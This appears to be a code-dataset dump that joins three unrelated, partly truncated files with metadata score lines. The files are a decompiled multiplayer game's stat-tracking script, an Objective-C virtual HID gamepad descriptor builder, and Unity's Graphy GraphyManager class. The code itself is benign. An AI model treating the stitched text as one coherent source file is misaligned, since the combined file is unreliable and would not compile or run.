param_01, param_02) { if(!scripts\mp\utility::rankingenabled()) { return; } var_03 = self getplayerdata("mp", param_00, param_01); self setplayerdata("mp", param_00, param_01, var_03 + param_02); } statgetchildbuffered(param_00, param_01, param_02) { if(!scripts\mp\utility::rankingenabled() && !scripts\mp\utility::istrue(param_02)) { return 0; } return self.bufferedchildstats[param_00][param_01]; } statsetchildbuffered(param_00, param_01, param_02, param_03) { if(!scripts\mp\utility::rankingenabled() && !scripts\mp\utility::istrue(param_03)) { return; } self.bufferedchildstats[param_00][param_01] = param_02; } stataddchildbuffered(param_00, param_01, param_02, param_03) { if(!scripts\mp\utility::rankingenabled() && !scripts\mp\utility::istrue(param_03)) { return; } var_04 = statgetchildbuffered(param_00, param_01, param_03); statsetchildbuffered(param_00, param_01, var_04 + param_02, param_03); } stataddbufferedwithmax(param_00, param_01, param_02) { if(!scripts\mp\utility::rankingenabled()) { return; } var_03 = statgetbuffered(param_00) + param_01; if(var_03 > param_02) { var_03 = param_02; } if(var_03 < statgetbuffered(param_00)) { var_03 = param_02; } func_10E55(param_00, var_03); } stataddchildbufferedwithmax(param_00, param_01, param_02, param_03) { if(!scripts\mp\utility::rankingenabled()) { return; } var_04 = statgetchildbuffered(param_00, param_01) + param_02; if(var_04 > param_03) { var_04 = param_03; } if(var_04 < statgetchildbuffered(param_00, param_01)) { var_04 = param_03; } statsetchildbuffered(param_00, param_01, var_04); } statgetbuffered(param_00, param_01) { if(!scripts\mp\utility::rankingenabled() && !scripts\mp\utility::istrue(param_01)) { return 0; } return self.bufferedstats[param_00]; } func_10E37(param_00) { if(!scripts\mp\utility::rankingenabled()) { return 0; } return self.squadmemberbufferedstats[param_00]; } func_10E55(param_00, param_01, param_02) { if(!scripts\mp\utility::rankingenabled() && !scripts\mp\utility::istrue(param_02)) { return; } self.bufferedstats[param_00] = param_01; } func_10E58(param_00, param_01) { if(!scripts\mp\utility::rankingenabled()) { return; } self.squadmemberbufferedstats[param_00] = param_01; } stataddbuffered(param_00, param_01, param_02) { if(!scripts\mp\utility::rankingenabled() && !scripts\mp\utility::istrue(param_02)) { return; } var_03 = statgetbuffered(param_00, param_02); func_10E55(param_00, var_03 + param_01, param_02); } func_10E18(param_00, param_01) { if(!scripts\mp\utility::rankingenabled()) { return; } var_02 = func_10E37(param_00); func_10E58(param_00, var_02 + param_01); } func_12E6A() { wait(0.15); var_00 = 0; while (!level.gameended) { scripts\mp\hostmigration::waittillhostmigrationdone(); var_00++; if(var_00 >= level.players.size) { var_00 = 0; } if(isdefined(level.players[var_00])) { level.players[var_00] writebufferedstats(); level.players[var_00] func_12F5E(); } wait(2); } foreach(var_02 in level.players) { var_02 writebufferedstats(); var_02 func_12F5E(); } } setbestscore(param_00, param_01) { var_02 = scripts\mp\utility::rankingenabled(); if(!var_02) { return; } if(isdefined(self.bestscorestats[param_00]) && param_01 > self.bestscorestats[param_00]) { self.bestscorestats[param_00] = param_01; self.bufferedbestscorestats[param_00] = param_01; } } writebestscores() { foreach(var_01 in level.players) { if(isdefined(var_01) && var_01 scripts\mp\utility::rankingenabled()) { foreach(var_04, var_03 in var_01.bufferedbestscorestats) { var_01 setplayerdata("mp", "bestScores", var_04, var_03); } } } } writebufferedstats() { var_00 = scripts\mp\utility::rankingenabled(); if(var_00) { foreach(var_03, var_02 in self.bufferedstats) { self setplayerdata("mp", var_03, var_02); } if(!isai(self)) { foreach(var_03, var_02 in self.squadmemberbufferedstats) { self setplayerdata("rankedloadouts", "squadMembers", var_03, var_02); } } } foreach(var_03, var_02 in self.bufferedchildstats) { foreach(var_08, var_07 in var_02) { if(var_03 == "round") { self setplayerdata("common", var_03, var_08, var_07); setbestscore(var_08, var_07); continue; } if(var_00) { self setplayerdata("mp", var_03, var_08, var_07); } } } } func_13E05() { if(!scripts\mp\utility::matchmakinggame()) { return; } level waittill("game_ended"); wait(0.1); if(scripts\mp\utility::waslastround() || !scripts\mp\utility::isroundbased() && scripts\mp\utility::hittimelimit()) { foreach(var_01 in level.players) { var_01 func_93FB(var_01.setculldist, var_01.var_E9); } } } func_93FB(param_00, param_01) { if(!scripts\mp\utility::rankingenabled()) { return; } for (var_02 = 0; var_02 < 4; var_02++) { var_03 = self getplayerdata("mp", "kdHistoryK", var_02 + 1); self setplayerdata("mp", "kdHistoryK", var_02, var_03); var_03 = self getplayerdata("mp", "kdHistoryD", var_02 + 1); self setplayerdata("mp", "kdHistoryD", var_02, var_03); } self setplayerdata("mp", "kdHistoryK", 4, int(clamp(param_00, 0, 255))); self setplayerdata("mp", "kdHistoryD", 4, int(clamp(param_01, 0, 255))); } func_93FC(param_00, param_01, param_02) { if(scripts\mp\utility::iskillstreakweapon(param_00)) { return; } if(isdefined(level.var_561D)) { return; } if(scripts\mp\utility::rankingenabled()) { var_03 = self getplayerdata("mp", "weaponStats", param_00, param_01); self setplayerdata("mp", "weaponStats", param_00, param_01, var_03 + param_02); } } func_93F9(param_00, param_01, param_02) { if(isdefined(level.var_561D)) { return; } if(!scripts\mp\utility::func_2490(param_00)) { return; } if(scripts\mp\utility::rankingenabled()) { var_03 = self getplayerdata("mp", "attachmentsStats", param_00, param_01); self setplayerdata("mp", "attachmentsStats", param_00, param_01, var_03 + param_02); } } func_12F5E() { if(!isdefined(self.trackingweapon)) { return; } if(self.trackingweapon == "" || self.trackingweapon == "none") { return; } if(scripts\mp\utility::iskillstreakweapon(self.trackingweapon) || scripts\mp\utility::isenvironmentweapon(self.trackingweapon) || scripts\mp\utility::isbombsiteweapon(self.trackingweapon)) { return; } var_00 = self.trackingweapon; var_01 = undefined; var_02 = getsubstr(var_00, 0, 4); if(var_02 == "alt_") { var_03 = scripts\mp\utility::getweaponattachmentsbasenames(var_00); foreach(var_05 in var_03) { if(var_05 == "shotgun" || var_05 == "gl") { var_01 = var_05; break; } } } if(!isdefined(var_01)) { if(var_02 == "alt_") { var_00 = getsubstr(var_00, 4); var_02 = getsubstr(var_00, 0, 4); } if(var_02 == "iw6_" || var_02 == "iw7_") { var_07 = strtok(var_00, "_"); var_01 = var_07[0] + "_" + var_07[1]; } } if(var_01 == "gl" || var_01 == "shotgun" || var_01 == "missglprox" || var_01 == "stickglprox" || var_01 == "shotgunglprox" || var_01 == "shotgunglr") { func_CA72(var_01); persclear_stats(); return; } if(!scripts\mp\utility::iscacprimaryweapon(var_01) && !scripts\mp\utility::iscacsecondaryweapon(var_01)) { return; } var_08 = getweaponvariantindex(var_00); func_CA73(var_01, var_08); var_03 = getweaponattachments(var_00); foreach(var_05 in var_03) { var_0A = scripts\mp\utility::attachmentmap_tobase(var_05); if(!scripts\mp\utility::func_2490(var_0A)) { continue; } switch (var_0A) { case "gl": case "shotgun": break; } func_CA72(var_0A); } persclear_stats(); } persclear_stats() { self.trackingweapon = "none"; self.trackingweaponshots = 0; self.trackingweaponkills = 0; self.trackingweaponhits = 0; self.trackingweaponheadshots = 0; self.trackingweapondeaths = 0; } func_CA73(param_00, param_01) { if(self.trackingweaponshots > 0) { func_93FC(param_00, "shots", self.trackingweaponshots); scripts\mp\matchdata::func_AFDC(param_00, "shots", self.trackingweaponshots, param_01); } if(self.trackingweaponkills > 0) { func_93FC(param_00, "kills", self.trackingweaponkills); scripts\mp\matchdata::func_AFDC(param_00, "kills", self.trackingweaponkills, param_01); } if(self.trackingweaponhits > 0) { func_93FC(param_00, "hits", self.trackingweaponhits); scripts\mp\matchdata::func_AFDC(param_00, "hits", self.trackingweaponhits, param_01); } if(self.trackingweaponheadshots > 0) { func_93FC(param_00, "headShots", self.trackingweaponheadshots); scripts\mp\matchdata::func_AFDC(param_00, "headShots", self.trackingweaponheadshots, param_01); } if(self.trackingweapondeaths > 0) { func_93FC(param_00, "deaths", self.trackingweapondeaths); scripts\mp\matchdata::func_AFDC(param_00, "deaths", self.trackingweapondeaths, param_01); } } func_CA72(param_00) { if(!scripts\mp\utility::func_2490(param_00)) { return; } if(self.trackingweaponshots > 0 && param_00 != "tactical") { func_93F9(param_00, "shots", self.trackingweaponshots); scripts\mp\matchdata::func_AF94(param_00, "shots", self.trackingweaponshots); } if(self.trackingweaponkills > 0 && param_00 != "tactical") { func_93F9(param_00, "kills", self.trackingweaponkills); scripts\mp\matchdata::func_AF94(param_00, "kills", self.trackingweaponkills); } if(self.trackingweaponhits > 0 && param_00 != "tactical") { func_93F9(param_00, "hits", self.trackingweaponhits); scripts\mp\matchdata::func_AF94(param_00, "hits", self.trackingweaponhits); } if(self.trackingweaponheadshots > 0 && param_00 != "tactical") { func_93F9(param_00, "headShots", self.trackingweaponheadshots); scripts\mp\matchdata::func_AF94(param_00, "headShots", self.trackingweaponheadshots); } if(self.trackingweapondeaths > 0) { func_93F9(param_00, "deaths", self.trackingweapondeaths); scripts\mp\matchdata::func_AF94(param_00, "deaths", self.trackingweapondeaths); } } func_12F85() { level waittill("game_ended"); if(!scripts\mp\utility::matchmakinggame()) { return; } var_00 = 0; var_01 = 0; var_02 = 0; var_03 = 0; var_04 = 0; var_05 = 0; foreach(var_07 in level.players) { var_05 = var_05 + var_07.timeplayed["total"]; } incrementcounter("global_minutes", int(var_05 / 60)); if(scripts\mp\utility::isroundbased() && !scripts\mp\utility::waslastround()) { return; } wait(0.05); foreach(var_07 in level.players) { var_00 = var_00 + var_07.setculldist; var_01 = var_01 + var_07.var_E9; var_02 = var_02 + var_07.var_4D; var_03 = var_03 + var_07.headshots; var_04 = var_04 + var_07.suicides; } incrementcounter("global_headshots", var_03); incrementcounter("global_suicides", var_04); incrementcounter("global_games", 1); if(!isdefined(level.assists_disabled)) { incrementcounter("global_assists", var_02); } }
1
0.856459
1
0.856459
game-dev
MEDIA
0.565761
game-dev
0.648415
1
0.648415
alxn1/wjoy
9,113
experimental/VHID2/VHIDGameController.m
// // VHIDGameController.m // VHID2 // // Created by alxn1 on 21.03.14. // Copyright (c) 2014 alxn1. All rights reserved. // #import "VHIDGameController+Private.h" #define VHID_BTN_DESCRIPTOR_MIN_SIZE 16 #define VHID_BTN_DESCRIPTOR_MAX_SIZE 22 #define VHID_AXIS_DESCRIPTOR_MIN_SIZE 14 #define VHID_MIN_AXIS VHIDGameControllerAxisX #define VHID_MAX_AXIS VHIDGameControllerAxisRZ #define VHID_AXIS_DESCRIPTOR_INDEX_BASE 0x30 #define VHID_DESCRIPTOR_MIN_SIZE 10 #define VHID_AXIS_VALUE_EPSILON 0.01 static const unsigned char buttonMasks[] = { 1, 2, 4, 8, 16, 32, 64, 128 }; @implementation VHIDGameController + (VHIDGameController*)gameControllerWithAxes:(VHIDGameControllerAxisSet)axes buttonCount:(NSUInteger)count { return [[[VHIDGameController alloc] initWithAxes:axes buttonCount:count] autorelease]; } + (NSData*)buttonDescriptor:(NSUInteger)buttonCount { if(buttonCount == 0) return nil; NSUInteger paddingBits = (8 - buttonCount % 8) % 8; NSMutableData *result = [NSMutableData dataWithLength:(paddingBits != 0)? (VHID_BTN_DESCRIPTOR_MAX_SIZE): (VHID_BTN_DESCRIPTOR_MIN_SIZE)]; unsigned char *data = [result mutableBytes]; *data = 0x05; data++; *data = 0x09; data++; // USAGE_PAGE (Button) *data = 0x19; data++; *data = 0x01; data++; // USAGE_MINIMUM (Button 1) *data = 0x29; data++; *data = buttonCount; data++; // USAGE_MAXIMUM (Button buttonCount) *data = 0x15; data++; *data = 0x00; data++; // LOGICAL_MINIMUM (0) *data = 0x25; data++; *data = 0x01; data++; // LOGICAL_MAXIMUM (1) *data = 0x95; data++; *data = buttonCount; data++; // REPORT_COUNT (buttonCount) *data = 0x75; data++; *data = 0x01; data++; // REPORT_SIZE (1) *data = 0x81; data++; *data = 0x02; data++; // INPUT (Data, Var, Abs) if(paddingBits != 0) { *data = 0x95; data++; *data = 0x1; data++; // REPORT_COUNT (1) *data = 0x75; data++; *data = paddingBits; data++; // REPORT_SIZE (paddingBits) *data = 0x81; data++; *data = 0x03; data++; // INPUT (Cnst, Var, Abs) } return result; } + (NSUInteger)axisCount:(VHIDGameControllerAxisSet)axes { NSUInteger result = 0; for(NSUInteger axis = VHID_MIN_AXIS; axis <= VHID_MAX_AXIS; axis <<= 1) { if((axes & axis) != 0) result++; } return result; } + (NSUInteger)axisDescriptorIndex:(VHIDGameControllerAxis)axis { NSUInteger result = VHID_AXIS_DESCRIPTOR_INDEX_BASE; switch(axis) { case VHIDGameControllerAxisX: result += 0; break; case VHIDGameControllerAxisY: result += 1; break; case VHIDGameControllerAxisZ: result += 2; break; case VHIDGameControllerAxisRX: result += 3; break; case VHIDGameControllerAxisRY: result += 4; break; case VHIDGameControllerAxisRZ: result += 5; break; } return result; } + (NSData*)axisDescriptor:(VHIDGameControllerAxisSet)axes { if(axes == 0) return nil; NSUInteger axisCount = [self axisCount:axes]; NSUInteger length = VHID_AXIS_DESCRIPTOR_MIN_SIZE + axisCount * 2; NSMutableData *result = [NSMutableData dataWithLength:length]; unsigned char *data = [result mutableBytes]; *data = 0x05; data++; *data = 0x01; data++; // USAGE_PAGE (Generic Desktop) for(NSUInteger axis = VHID_MIN_AXIS; axis <= VHID_MAX_AXIS; axis <<= 1) { if((axes & axis) != 0) { NSUInteger index = [self axisDescriptorIndex:(VHIDGameControllerAxis)axis]; *data = 0x09; data++; *data = index; data++; // USAGE (X + index) } } *data = 0x81; data++; *data = 0x02; data++; // INPUT (Data,Var,Abs) *data = 0x75; data++; *data = 0x10; data++; // REPORT_SIZE (16) *data = 0x95; data++; *data = axisCount; data++; // REPORT_COUNT (axisCount) *data = 0x16; data++; *data = 0x00; data++; *data = 0x80; data++; // LOGICAL_MINIMUM (-32768) *data = 0x26; data++; *data = 0xff; data++; *data = 0x7f; data++; // LOGICAL_MAXIMUM (32767) return result; } + (NSData*)descriptorWithAxes:(VHIDGameControllerAxisSet)axes buttonCount:(NSUInteger)buttonCount { NSData *buttonDescriptor = [self buttonDescriptor:buttonCount]; NSData *axisDescriptor = [self axisDescriptor:axes]; NSUInteger length = VHID_DESCRIPTOR_MIN_SIZE + [buttonDescriptor length] + [axisDescriptor length]; NSMutableData *result = [NSMutableData dataWithLength:length]; unsigned char *data = [result mutableBytes]; *data = 0x05; data++; *data = 0x01; data++; // USAGE_PAGE (Generic Desktop) *data = 0x09; data++; *data = 0x05; data++; // USAGE (Game Pad) *data = 0xA1; data++; *data = 0x01; data++; // COLLECTION (Application) *data = 0xA1; data++; *data = 0x00; data++; // COLLECTION (Physical) if(buttonDescriptor != nil) { memcpy(data, [buttonDescriptor bytes], [buttonDescriptor length]); data += [buttonDescriptor length]; } if(axisDescriptor != nil) { memcpy(data, [axisDescriptor bytes], [axisDescriptor length]); data += [axisDescriptor length]; } *data = 0xC0; data++; // END_COLLECTION *data = 0xC0; data++; // END_COLLECTION return result; } + (NSUInteger)buttonStateSize:(NSUInteger)buttonCount { NSUInteger paddingBits = (8 - buttonCount % 8) % 8; NSUInteger result = (buttonCount + paddingBits) / 8; return result; } + (NSUInteger)axesStateSize:(VHIDGameControllerAxisSet)axes { return ([self axisCount:axes] * sizeof(uint16_t)); } + (NSUInteger)stateSizeWithAxes:(VHIDGameControllerAxisSet)axes buttonCount:(NSUInteger)buttonCount { return ([self buttonStateSize:buttonCount] + [self axesStateSize:axes]); } - (id)initWithAxes:(VHIDGameControllerAxisSet)axes buttonCount:(NSUInteger)buttonCount { NSData *descriptor = [VHIDGameController descriptorWithAxes:axes buttonCount:buttonCount]; NSUInteger stateSize = [VHIDGameController stateSizeWithAxes:axes buttonCount:buttonCount]; return [self initWithDescriptor:descriptor stateSize:stateSize axes:axes buttonCount:buttonCount]; } - (VHIDGameControllerAxisSet)axes { return m_Axes; } - (NSUInteger)buttonCount { return m_ButtonCount; } - (uint16_t*)mutableAxisState { unsigned char *result = [self mutableStateBytes]; result += [VHIDGameController buttonStateSize:m_ButtonCount]; return ((uint16_t*)result); } - (uint8_t*)mutableButtonState { return [self mutableStateBytes]; } - (NSUInteger)axisIndex:(VHIDGameControllerAxis)value { NSUInteger result = 0; NSUInteger index = 0; for(NSUInteger axis = VHID_MIN_AXIS; axis <= VHID_MAX_AXIS; axis <<= 1) { if(value == axis) { result = index; break; } if((m_Axes & axis) != 0) index++; } return result; } - (CGFloat)axisValue:(VHIDGameControllerAxis)axis { if((m_Axes & axis) == 0) return 0.0; NSUInteger index = [self axisIndex:axis]; uint16_t *state = [self mutableAxisState]; return [VHIDGameController UInt16ToFloat:OSSwapLittleToHostConstInt16(state[index])]; } - (void)setAxis:(VHIDGameControllerAxis)axis value:(CGFloat)value { if((m_Axes & axis) == 0 || fabs([self axisValue:axis] - value) <= VHID_AXIS_VALUE_EPSILON) return; NSUInteger index = [self axisIndex:axis]; uint16_t *state = [self mutableAxisState]; state[index] = OSSwapHostToLittleConstInt16([VHIDGameController FloatToUInt16:value]); [self notifyAboutStateChanged]; } - (BOOL)isButtonPressed:(NSUInteger)button { if(button >= m_ButtonCount) return NO; NSUInteger buttonByte = button / 8; NSUInteger buttonBit = button % 8; uint8_t *state = [self mutableButtonState]; return ((state[buttonByte] & buttonMasks[buttonBit]) != 0); } - (void)setButton:(NSUInteger)button pressed:(BOOL)pressed { if(button >= m_ButtonCount || [self isButtonPressed:button] == pressed) return; NSUInteger buttonByte = button / 8; NSUInteger buttonBit = button % 8; uint8_t *state = [self mutableButtonState]; if(pressed) state[buttonByte] |= buttonMasks[buttonBit]; else state[buttonByte] &= ~(buttonMasks[buttonBit]); [self notifyAboutStateChanged]; } @end
1
0.886179
1
0.886179
game-dev
MEDIA
0.214604
game-dev
0.973752
1
0.973752
tunchasan/Blob-Runner3D-Clone
35,379
Assets/Graphy - Ultimate Stats Monitor/Runtime/GraphyManager.cs
/* --------------------------------------- * Author: Martin Pane (martintayx@gmail.com) (@tayx94) * Contributors: https://github.com/Tayx94/graphy/graphs/contributors * Project: Graphy - Ultimate Stats Monitor * Date: 15-Dec-17 * Studio: Tayx * * Git repo: https://github.com/Tayx94/graphy * * This project is released under the MIT license. * Attribution is not required, but it is always welcomed! * -------------------------------------*/ using System; using UnityEngine; using Tayx.Graphy.Audio; using Tayx.Graphy.Fps; using Tayx.Graphy.Ram; using Tayx.Graphy.Utils; using Tayx.Graphy.Advanced; using Tayx.Graphy.Utils.NumString; #if GRAPHY_NEW_INPUT using UnityEngine.InputSystem; #endif namespace Tayx.Graphy { /// <summary> /// Main class to access the Graphy API. /// </summary> public class GraphyManager : G_Singleton<GraphyManager> { protected GraphyManager () { } //Enums #region Enums -> Public public enum Mode { FULL = 0, LIGHT = 1 } public enum ModuleType { FPS = 0, RAM = 1, AUDIO = 2, ADVANCED = 3 } public enum ModuleState { FULL = 0, TEXT = 1, BASIC = 2, BACKGROUND = 3, OFF = 4 } public enum ModulePosition { TOP_RIGHT = 0, TOP_LEFT = 1, BOTTOM_RIGHT = 2, BOTTOM_LEFT = 3, FREE = 4 } public enum LookForAudioListener { ALWAYS, ON_SCENE_LOAD, NEVER } public enum ModulePreset { FPS_BASIC = 0, FPS_TEXT = 1, FPS_FULL = 2, FPS_TEXT_RAM_TEXT = 3, FPS_FULL_RAM_TEXT = 4, FPS_FULL_RAM_FULL = 5, FPS_TEXT_RAM_TEXT_AUDIO_TEXT = 6, FPS_FULL_RAM_TEXT_AUDIO_TEXT = 7, FPS_FULL_RAM_FULL_AUDIO_TEXT = 8, FPS_FULL_RAM_FULL_AUDIO_FULL = 9, FPS_FULL_RAM_FULL_AUDIO_FULL_ADVANCED_FULL = 10, FPS_BASIC_ADVANCED_FULL = 11 } #endregion #region Variables -> Serialized Private [SerializeField] private Mode m_graphyMode = Mode.FULL; [SerializeField] private bool m_enableOnStartup = true; [SerializeField] private bool m_keepAlive = true; [SerializeField] private bool m_background = true; [SerializeField] private Color m_backgroundColor = new Color(0, 0, 0, 0.3f); [SerializeField] private bool m_enableHotkeys = true; #if GRAPHY_NEW_INPUT [SerializeField] private Key m_toggleModeKeyCode = Key.G; #else [SerializeField] private KeyCode m_toggleModeKeyCode = KeyCode.G; #endif [SerializeField] private bool m_toggleModeCtrl = true; [SerializeField] private bool m_toggleModeAlt = false; #if GRAPHY_NEW_INPUT [SerializeField] private Key m_toggleActiveKeyCode = Key.H; #else [SerializeField] private KeyCode m_toggleActiveKeyCode = KeyCode.H; #endif [SerializeField] private bool m_toggleActiveCtrl = true; [SerializeField] private bool m_toggleActiveAlt = false; [SerializeField] private ModulePosition m_graphModulePosition = ModulePosition.TOP_RIGHT; // Fps --------------------------------------------------------------------------- [SerializeField] private ModuleState m_fpsModuleState = ModuleState.FULL; [SerializeField] private Color m_goodFpsColor = new Color32(118, 212, 58, 255); [SerializeField] private int m_goodFpsThreshold = 60; [SerializeField] private Color m_cautionFpsColor = new Color32(243, 232, 0, 255); [SerializeField] private int m_cautionFpsThreshold = 30; [SerializeField] private Color m_criticalFpsColor = new Color32(220, 41, 30, 255); [Range(10, 300)] [SerializeField] private int m_fpsGraphResolution = 150; [Range(1, 200)] [SerializeField] private int m_fpsTextUpdateRate = 3; // 3 updates per sec. // Ram --------------------------------------------------------------------------- [SerializeField] private ModuleState m_ramModuleState = ModuleState.FULL; [SerializeField] private Color m_allocatedRamColor = new Color32(255, 190, 60, 255); [SerializeField] private Color m_reservedRamColor = new Color32(205, 84, 229, 255); [SerializeField] private Color m_monoRamColor = new Color(0.3f, 0.65f, 1f, 1); [Range(10, 300)] [SerializeField] private int m_ramGraphResolution = 150; [Range(1, 200)] [SerializeField] private int m_ramTextUpdateRate = 3; // 3 updates per sec. // Audio ------------------------------------------------------------------------- [SerializeField] private ModuleState m_audioModuleState = ModuleState.FULL; [SerializeField] private LookForAudioListener m_findAudioListenerInCameraIfNull = LookForAudioListener.ON_SCENE_LOAD; [SerializeField] private AudioListener m_audioListener = null; [SerializeField] private Color m_audioGraphColor = Color.white; [Range(10, 300)] [SerializeField] private int m_audioGraphResolution = 81; [Range(1, 200)] [SerializeField] private int m_audioTextUpdateRate = 3; // 3 updates per sec. [SerializeField] private FFTWindow m_FFTWindow = FFTWindow.Blackman; [Tooltip("Must be a power of 2 and between 64-8192")] [SerializeField] private int m_spectrumSize = 512; // Advanced ---------------------------------------------------------------------- [SerializeField] private ModulePosition m_advancedModulePosition = ModulePosition.BOTTOM_LEFT; [SerializeField] private ModuleState m_advancedModuleState = ModuleState.FULL; #endregion #region Variables -> Private private bool m_initialized = false; private bool m_active = true; private bool m_focused = true; private G_FpsManager m_fpsManager = null; private G_RamManager m_ramManager = null; private G_AudioManager m_audioManager = null; private G_AdvancedData m_advancedData = null; private G_FpsMonitor m_fpsMonitor = null; private G_RamMonitor m_ramMonitor = null; private G_AudioMonitor m_audioMonitor = null; private ModulePreset m_modulePresetState = ModulePreset.FPS_BASIC_ADVANCED_FULL; #endregion //TODO: Maybe sort these into Get and GetSet sections. #region Properties -> Public public Mode GraphyMode { get { return m_graphyMode; } set { m_graphyMode = value; UpdateAllParameters(); } } public bool EnableOnStartup { get { return m_enableOnStartup; } } public bool KeepAlive { get { return m_keepAlive; } } public bool Background { get { return m_background; } set { m_background = value; UpdateAllParameters(); } } public Color BackgroundColor { get { return m_backgroundColor; } set { m_backgroundColor = value; UpdateAllParameters(); } } public ModulePosition GraphModulePosition { get { return m_graphModulePosition; } set { m_graphModulePosition = value; m_fpsManager .SetPosition(m_graphModulePosition); m_ramManager .SetPosition(m_graphModulePosition); m_audioManager .SetPosition(m_graphModulePosition); } } // Fps --------------------------------------------------------------------------- // Setters & Getters public ModuleState FpsModuleState { get { return m_fpsModuleState; } set { m_fpsModuleState = value; m_fpsManager.SetState(m_fpsModuleState); } } public Color GoodFPSColor { get { return m_goodFpsColor; } set { m_goodFpsColor = value; m_fpsManager.UpdateParameters(); } } public Color CautionFPSColor { get { return m_cautionFpsColor; } set { m_cautionFpsColor = value; m_fpsManager.UpdateParameters(); } } public Color CriticalFPSColor { get { return m_criticalFpsColor; } set { m_criticalFpsColor = value; m_fpsManager.UpdateParameters(); } } public int GoodFPSThreshold { get { return m_goodFpsThreshold; } set { m_goodFpsThreshold = value; m_fpsManager.UpdateParameters(); } } public int CautionFPSThreshold { get { return m_cautionFpsThreshold; } set { m_cautionFpsThreshold = value; m_fpsManager.UpdateParameters(); } } public int FpsGraphResolution { get { return m_fpsGraphResolution; } set { m_fpsGraphResolution = value; m_fpsManager.UpdateParameters(); } } public int FpsTextUpdateRate { get { return m_fpsTextUpdateRate; } set { m_fpsTextUpdateRate = value; m_fpsManager.UpdateParameters(); } } // Getters public float CurrentFPS { get { return m_fpsMonitor.CurrentFPS; } } public float AverageFPS { get { return m_fpsMonitor.AverageFPS; } } public float MinFPS { get { return m_fpsMonitor.OnePercentFPS; } } public float MaxFPS { get { return m_fpsMonitor.Zero1PercentFps; } } // Ram --------------------------------------------------------------------------- // Setters & Getters public ModuleState RamModuleState { get { return m_ramModuleState; } set { m_ramModuleState = value; m_ramManager.SetState(m_ramModuleState); } } public Color AllocatedRamColor { get { return m_allocatedRamColor; } set { m_allocatedRamColor = value; m_ramManager.UpdateParameters(); } } public Color ReservedRamColor { get { return m_reservedRamColor; } set { m_reservedRamColor = value; m_ramManager.UpdateParameters(); } } public Color MonoRamColor { get { return m_monoRamColor; } set { m_monoRamColor = value; m_ramManager.UpdateParameters(); } } public int RamGraphResolution { get { return m_ramGraphResolution; } set { m_ramGraphResolution = value; m_ramManager.UpdateParameters(); } } public int RamTextUpdateRate { get { return m_ramTextUpdateRate; } set { m_ramTextUpdateRate = value; m_ramManager.UpdateParameters(); } } // Getters public float AllocatedRam { get { return m_ramMonitor.AllocatedRam; } } public float ReservedRam { get { return m_ramMonitor.ReservedRam; } } public float MonoRam { get { return m_ramMonitor.MonoRam; } } // Audio ------------------------------------------------------------------------- // Setters & Getters public ModuleState AudioModuleState { get { return m_audioModuleState; } set { m_audioModuleState = value; m_audioManager.SetState(m_audioModuleState); } } public AudioListener AudioListener { get { return m_audioListener; } set { m_audioListener = value; m_audioManager.UpdateParameters(); } } public LookForAudioListener FindAudioListenerInCameraIfNull { get { return m_findAudioListenerInCameraIfNull; } set { m_findAudioListenerInCameraIfNull = value; m_audioManager.UpdateParameters(); } } public Color AudioGraphColor { get { return m_audioGraphColor; } set { m_audioGraphColor = value; m_audioManager.UpdateParameters(); } } public int AudioGraphResolution { get { return m_audioGraphResolution; } set { m_audioGraphResolution = value; m_audioManager.UpdateParameters(); } } public int AudioTextUpdateRate { get { return m_audioTextUpdateRate; } set { m_audioTextUpdateRate = value; m_audioManager.UpdateParameters(); } } public FFTWindow FftWindow { get { return m_FFTWindow; } set { m_FFTWindow = value; m_audioManager.UpdateParameters(); } } public int SpectrumSize { get { return m_spectrumSize; } set { m_spectrumSize = value; m_audioManager.UpdateParameters(); } } // Getters /// <summary> /// Current audio spectrum from the specified AudioListener. /// </summary> public float[] Spectrum { get { return m_audioMonitor.Spectrum; } } /// <summary> /// Maximum DB registered in the current spectrum. /// </summary> public float MaxDB { get { return m_audioMonitor.MaxDB; } } // Advanced --------------------------------------------------------------------- // Setters & Getters public ModuleState AdvancedModuleState { get { return m_advancedModuleState; } set { m_advancedModuleState = value; m_advancedData.SetState(m_advancedModuleState); } } public ModulePosition AdvancedModulePosition { get { return m_advancedModulePosition; } set { m_advancedModulePosition = value; m_advancedData.SetPosition(m_advancedModulePosition); } } #endregion #region Methods -> Unity Callbacks private void Start() { Init(); } private void OnDestroy() { G_IntString.Dispose(); G_FloatString.Dispose(); } private void Update() { if (m_focused && m_enableHotkeys) { CheckForHotkeyPresses(); } } private void OnApplicationFocus(bool isFocused) { m_focused = isFocused; if (m_initialized && isFocused) { RefreshAllParameters(); } } #endregion #region Methods -> Public public void SetModulePosition(ModuleType moduleType, ModulePosition modulePosition) { switch (moduleType) { case ModuleType.FPS: case ModuleType.RAM: case ModuleType.AUDIO: m_graphModulePosition = modulePosition; m_ramManager.SetPosition(modulePosition); m_fpsManager.SetPosition(modulePosition); m_audioManager.SetPosition(modulePosition); break; case ModuleType.ADVANCED: m_advancedData.SetPosition(modulePosition); break; } } public void SetModuleMode(ModuleType moduleType, ModuleState moduleState) { switch (moduleType) { case ModuleType.FPS: m_fpsManager.SetState(moduleState); break; case ModuleType.RAM: m_ramManager.SetState(moduleState); break; case ModuleType.AUDIO: m_audioManager.SetState(moduleState); break; case ModuleType.ADVANCED: m_advancedData.SetState(moduleState); break; } } public void ToggleModes() { if ((int)m_modulePresetState >= Enum.GetNames(typeof(ModulePreset)).Length - 1) { m_modulePresetState = 0; } else { m_modulePresetState++; } SetPreset(m_modulePresetState); } public void SetPreset(ModulePreset modulePreset) { m_modulePresetState = modulePreset; switch (m_modulePresetState) { case ModulePreset.FPS_BASIC: m_fpsManager.SetState(ModuleState.BASIC); m_ramManager.SetState(ModuleState.OFF); m_audioManager.SetState(ModuleState.OFF); m_advancedData.SetState(ModuleState.OFF); break; case ModulePreset.FPS_TEXT: m_fpsManager.SetState(ModuleState.TEXT); m_ramManager.SetState(ModuleState.OFF); m_audioManager.SetState(ModuleState.OFF); m_advancedData.SetState(ModuleState.OFF); break; case ModulePreset.FPS_FULL: m_fpsManager.SetState(ModuleState.FULL); m_ramManager.SetState(ModuleState.OFF); m_audioManager.SetState(ModuleState.OFF); m_advancedData.SetState(ModuleState.OFF); break; case ModulePreset.FPS_TEXT_RAM_TEXT: m_fpsManager.SetState(ModuleState.TEXT); m_ramManager.SetState(ModuleState.TEXT); m_audioManager.SetState(ModuleState.OFF); m_advancedData.SetState(ModuleState.OFF); break; case ModulePreset.FPS_FULL_RAM_TEXT: m_fpsManager.SetState(ModuleState.FULL); m_ramManager.SetState(ModuleState.TEXT); m_audioManager.SetState(ModuleState.OFF); m_advancedData.SetState(ModuleState.OFF); break; case ModulePreset.FPS_FULL_RAM_FULL: m_fpsManager.SetState(ModuleState.FULL); 